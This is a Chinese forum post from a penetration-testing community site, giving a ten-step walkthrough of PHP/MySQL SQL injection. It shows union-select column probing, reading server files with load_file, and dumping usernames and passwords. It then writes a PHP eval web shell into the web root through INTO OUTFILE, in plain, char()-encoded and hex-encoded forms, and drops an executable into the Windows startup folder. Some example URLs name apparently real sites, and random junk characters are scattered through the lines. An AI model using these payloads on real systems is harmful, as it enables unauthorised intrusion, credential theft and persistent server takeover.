中国网络渗透测试联盟

标题: php注入十点基本步骤 [打印本页]
作者: admin    时间: 2012-9-15 14:29
标题: php注入十点基本步骤
1.判断是否存在注入,加';and 1=1;and 1=2
5 Y& _  X' Q0 ]; Z0 L6 ]2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本，可以用union查询
( N7 a, v6 T. W& |' t3.利用order by 暴字段，在网址后加 order by 10 /* 如果返回正常说明字段大于10" A: W0 Z7 S3 l4 J) v, B* K
4.再利用union来查询准确字段，如: and 1=2 union select 1,2,3,......./*直到返回正常，说明猜到准确字段数。如过滤了空格可以用/**/代替。
0 g  V$ F+ B) o5.判断数据库连接帐号有没有写权限，and (select count(*) from mysql.user)>0 /*如果结果返回错误，那我们只能猜解管理员帐号和密码了。
% f5 A2 S  E) [, M6.如果返回正常，则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值，用逗号隔开)),8,9,10 /* 注：load_file(char(文件路径的ascii值，用逗号隔开))也可以用十六进制，通过这种方式读取配置文件，找到数据库连接等。
( d9 v4 w' E, R' R7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常，说明存在这个表。8 |9 C3 H; f1 W* m! \' U
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。7 [) P" r9 j( m' ]& }1 ^
9.同理再猜解password字段,猜解成功再找后台登录。* l. U. [- o5 m5 _9 g, e# C
10.登录后台，上传shell。 * v4 o! B3 v  T( e+ U
11.检测是不是root权限 and/**/ord(mid(user(),1,1))=114/*
9 A' ?1 Y: `  M8 `6 I7 v, P$ A4 [% M9 Q+ F
PHP注入小技巧:
- J" |. a/ ]( }
' ]' O6 t; o- A5 Runhex(hex(user()))  unhex把16进制进行转换  hex是16进制5 O6 r2 A) @( c; d
6 }0 B! f9 J# A' V  F( ]
编码不同的问题，hex()搞不定的话试试convert()函数( F3 \  i2 E3 h1 k

& V5 [: C1 D8 ~$ C% ]# Oboardrule.php?groupboardid=11111/**/union/**/select/**/concat(user(),0x3f,database(),0x3f,version())/*
2 F- z' r# |7 e# K
' d& w. O8 i( g; o$ Y3 ?. P$ L1 [id=133 and 1=2 union select 1,2,<?php eval($_POST['#']);?>,4,5 into outfile '/home/www/htdocs/shell.php'/*% i" W3 F% g' ]% v

  v8 R1 M. X. a6 N$ p/ d! ?1 E) |$ Vhttp://site.com/article.php?id=-1+union+all+select+null,null,concat_ws(0x7,username,password) from tbluser/*
0 R  J+ A, p& J3 D( P; q, O$ I6 s) ]; G- [9 v- M& h* T& z0 b' q$ }
1 H& S* ~+ E* ?; G! N& {3 b; n2 b
http://www.bitdefenderthailand.c ... +union+all+select+1,unhex(hex(concat_ws(char(58),login,passwd))),3,4,5,6,7,8,9+ from+mas_member/*8 v$ f9 [# r. A2 @' D, ]9 j

! U, M0 C1 L9 R# a- V$ B% H7 K- v8 B' t1 d/ C6 J
如果可以联合查询，但是没有任何字段值显示到页面上的话，就只能采用盲注入的方式一个一个把值暴出来（国外的mysqlbf.pl和mysqlget.exe等等都可以轻松地做到）。
( m* z) d& q9 ?3 R6 C$ D: J7 W0 G- D, X3 H
, ?6 d) k5 @: f5 y; j
union select 1,2,3,password,user,6,7,8,9,10,11,12 from mysql.user/* 跑user表
/ Y1 N% @* ?# G# a" F1 d" C
. B$ R, @6 X5 K! a. V" G这里首先列出几个常用的涵数:1:system_user()2:user()3:current_user4:session_user()5:database()6:version()7:load_file()......他们的含义分别如下:" D* n$ L% [" i& J0 X5 U% z% o. z0 W
3 D' ?4 f3 P4 J4 g
1:系统用户名.2:用户名.3:当前用户名:4连接数据库的用户名.5:数据库名.6:数据库版本.7:MYSQL读取本地文件的函数
2 H. f% u; L6 y4 N/ s4 o
; O2 \* S! }3 g8 R3 ^* J% U# d5 R, n1 T3 ~7 Y4 t
" _# D, H* g, I% `% E; Q9 M
只要把load_file()放到页面出现的字段上,最好保证有足够位置能显示完你要显示的文件.实在没有足够位置也不紧张,下面我再教你几招.
$ y% C  U; w6 }5 M' ^, ^7 H7 j. i8 G# W7 f* U1 r
1:有时候,你明明确认自己拥有读和写文件的权利,却硬是读不出来文件,或者一片空白.为什么?原因可能是对方的系统在权限配置上做的好,你的USER权限,读不到他ADMINISTRATOR里的文件.NTFS和LINUX都能做到这点.如果你排除以上情况,你就要考虑,是不是你读出来的内容,被浏览器当作HTML,ASP,PHP,ASPX,JSP等等的脚本语言给执行了?譬如你读出来的内容如果含有<>等符号,那么浏览器就会执行你的文件内容,你自然什么都看不到.对付这样的情况,也很简单,我们只要把那些特殊的符号,在读出来的时候,用别的符号去代替他们,这样浏览器就不会去执行他们了!怎么代替?我们有replace(load_file(A),char(B),char(C))函数在!当你读A文件出来的时候,如果里面有B字母或者符号,那么MYSQL会用C字母或者符号去代替B,然后再显示出来.OK.我们这么一换上:replace(load_file(A)),char(60),char(32)).这里一样用的CHAR()函数转换为字母即一旦出现"<"符号,就用空格来代替他.这样就能完整的回显内容给你了.: o" L" J) u8 V1 z$ C
0 z: y' z: E& G: c* M; r. [
例如:http://www.tian6.com/page.php?fp=newsdetail&id=1885%
1 g/ o7 W0 E9 l4 ^$ O1 p& B0 R. m6 n2 u; g$ j" {0 |
20and%201=2%20union%20select%201,replace(load_file(char& K: u4 ?1 U+ V7 z  q
( T+ c0 z9 W  A8 h" @  H0 f( K4 I
(68,58,92,97,104,99,98,120,121,92,119,101,98,92,105,110,100,101,120,46,112,104,112)),char(60),char. M$ d0 ?; ]% y2 p2 r* b9 t
( M: G. Q8 {1 Y
(32)),3,4,5,6,7,user()/*) _. |; D2 `' H) n! {

! N+ {  e" G* v3 i& d: J* S3 d- A/ d; p
2:所有的字段位置都不够位置回显,读到的文件不完整哦,又不是上面的原因,那么怎么办呢?这里我们用Substring(str,pos,len)函数解决问题.他的意思是从字符串str的pos位位置起返回len个字符的子串.譬如Substring(load_file(A),50,100)就是把A的内容的第50个字母开始回显100个给你.那么就能逐段逐段的回显啦.
1 m- z! ^+ a8 Z0 F% E) n& Q1 @
7 u! k2 k4 r3 ^) p) u/ v1 c9 m) ^  J1 o9 \
6 [$ e' n2 X2 R  u' g+ I
into outfile的高级运用!; O  k9 |7 Q) T; Z# m
OK.load_file()我们就说那么多了.接下来,我们还有许多的重头戏要来呢!这里,我要说下一个很重要的运用方法,也正是我着重参考剑心几部作品的技术的部分.当我们确定如下几个条件以后:
2 X$ L/ X* q8 G0 L1获得物理路径(into outfile '物理路径') 这样才能写对目录
% l- S' m% ]% O- Z! M1 j6 j# q2能够使用union (也就是说需要MYSQL3以上的版本)8 q: {% g$ M- f& y+ h/ U
3对方没有对’进行过滤(因为outfile 后面的 '' 不可以用其他函数代替转换)
- g* t8 E9 v( v) s4就是MYSQL用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)& I! D$ V! n. I( y$ O( y0 @, J5 t
5对web目录有写权限MS的系统一般都有权限,但是LINUX通常都是rwxr-xr-x 也就是说组跟其他用户都没有权限写操作.
! _+ T3 x) ?# {( G' Q5 W* H# H
0 F* F, ~. T- I( n: `这里的1,我们一般可以靠数据库出错信息来爆出来,不行的话,也可以通过load_file()来得到.2那是一般都可以的了...3也不多见对'''过滤的.4有没有权限,我们前面已经测试过的了.5如果不能备份到网站的路径上来,我们也还有别的办法,譬如到starup,run里面去等等社工的办法.而且一般多试试上传目录,图片目录,还是大部分都有读写权限的.- h0 J3 L% X3 J5 {$ x1 y/ q/ o
OK.需要的条件确定了,那怎么用呢?我们分开两部来说用法.. {9 ~- o$ f9 [" O

) `% T& ^; ]% ?8 [3 H( u用法1:这是中规中矩的用法,大家都知道.就是采用网站有的留言,上传等功能,把你的一句话马弄上去,然后使用5 n' r/ L2 `- G8 w/ T) P
# d2 J8 V# ?; x$ e2 q
[Copy to clipboard] [ - ]CODE:5 P- j$ f+ c: u; L* }
http://www.tian6.com/coder.php?id=1 and 1=2 union select 1,load_file( /www/home/html/upload/qingyafengping.jpg),3,4,5,6 into outfile '/www/home/html/coder.php'/*   你的小马就诞生了.: b! b- m+ d" E( Q, O# p
其中/www/home/html/upload/qingyafengping.jpg为你已上传的木马地址.3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.
( o( E$ c9 P3 P9 e/ J, l( E
8 S& O9 d7 q9 d, u* F3 q
9 N/ u- D, f4 l! A用法2,也是重点要说的.上面的方法,局限性还是比较大的,如果网站不给你上传,或者网站过滤上传的内容,那怎么办?不用怕,剑心早在几年前就给我们想到了个好办法.我们只需要直接这么执行URL:
- Q* _; R% j/ [# x" y% c* {1 _4 X' S( M7 m" P
[Copy to clipboard] [ - ]CODE:
9 x! x& R9 j- ^, }http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(这里是你的马的代码,记得转为10进或者16进),3,4,5,6 into outfile '/www/home/html/coder.php'/*   这样你的小马也诞生了,不需要上传,也不怕他过滤.* Y' \) N. ^. R! K4 _9 `% a
譬如
" G: o5 t* ?  [8 C& n4 V  I- {( P( @# ]* b
[Copy to clipboard] [ - ]CODE:6 f* n+ f% v5 P* e: G1 v& g7 X
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62),3,4,5,6 into outfile '/www/home/html/coder.php'/*1 z& S; A( B: w
或者7 F2 T  c$ c! h, O8 B
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,0x3C3F706870206576616C28245F504F53545B636D645D293F3E,3,4,5,6 into outfile '/www/home/html/coder.php'/*. ~4 p6 {- S8 [- A+ k; i
或者1 D: V9 _( R. K
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3,4,5,6 into outfile '/www/home/html/coder.php'/*
, S4 f( M3 K5 e+ F$ r) O3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.
2 P7 e3 d5 X0 Z0 a- c4 r* s& _
& |; \- T' I3 c1 \4 x8 V% C8 L# o/ r% l1 u+ E; S  _8 m
%2527就是星点 %
. {! \$ @+ s" {看到这个$idx=urldecode($_REQUEST['idx']);猪点没有,可以into outfile %2527D:\new90oo\xhmgg.php%2527/*导出文件!5 q4 z- S) `- s' u0 N/ n
. q: k' h: X$ i* M* N
& T7 ~( T9 c* M8 `! J
用 load data infile 读取文件，命令如下 , Y! `( {( y5 j6 g6 d$ A

" H0 E8 k/ H0 Z8 G+ M3 @mysql>create table a (cmd text); 7 s0 e: ~0 w% p2 z, Q; }" @
mysql>load data infile 'c:\\boot.ini' into table a;
9 h2 }1 Q' m5 q& ^! dmysql>select * from a; 1 m  D5 V9 D! Z0 r5 E: G

2 }- [' V* z( E0 {) ^注入中的语法（未测试） + N) |! }( r% D, m0 b' I( D

* ]* |1 O4 y; n
) H& I- y* ?' D; z) Eid=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六进制),5 INTO DUMPFILE 'C:\\Documents and Settings\\All Users\\「开始」菜单\程序\启动\\mm.exe'/*



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2